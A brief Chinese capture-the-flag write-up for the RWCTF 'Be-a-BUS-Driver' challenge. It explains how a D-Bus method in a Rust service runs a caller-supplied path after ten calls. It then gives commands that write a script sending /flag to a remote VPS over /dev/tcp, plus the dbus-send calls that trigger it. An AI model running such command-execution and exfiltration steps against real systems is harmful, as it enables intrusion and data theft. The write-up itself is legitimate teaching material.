【RWCTF体验赛Writeup】Be-a-BUS-Driver解题思路
一、题目分析
首先列出其object和method,然后找到分析可疑方法(SayBoss),继而写命令反弹shell
二、解题思路
Pow后,分析发现SayBoss方法,然后进行count ≥ 0xA的绕过
三、涉及知识点
busctl ,Rust学习
四、解题方法
首先用busctl list列出object和method,
然后分析发现存在org.dbus.rwctf1.SayBoss方法,其可以接受string,进IDA里跟say_boss函数,
然后发现有if(++self→count ≥ 0xA)判断,就是说第10次一定会进含有std::process::Command的分值,调试后发现传进来的string会当做std::process::Command::new的参数,但其执行时通过.arg()传,因此需要写个反弹shell,
echo "#!/bin/bash" >/tmp/run
echo "cat /flag >& /dev/tcp/vps/22222 2>&1" >>/tmp/run
chmod +x /tmp/run
然后执行11次以下命令,反弹flag到VPS:
dbus-send --system --print-reply --dest=org.dbus.rwctf /org/dbus/rwctf org.dbus.rwctf1.SayBoss string:'/tmp/run'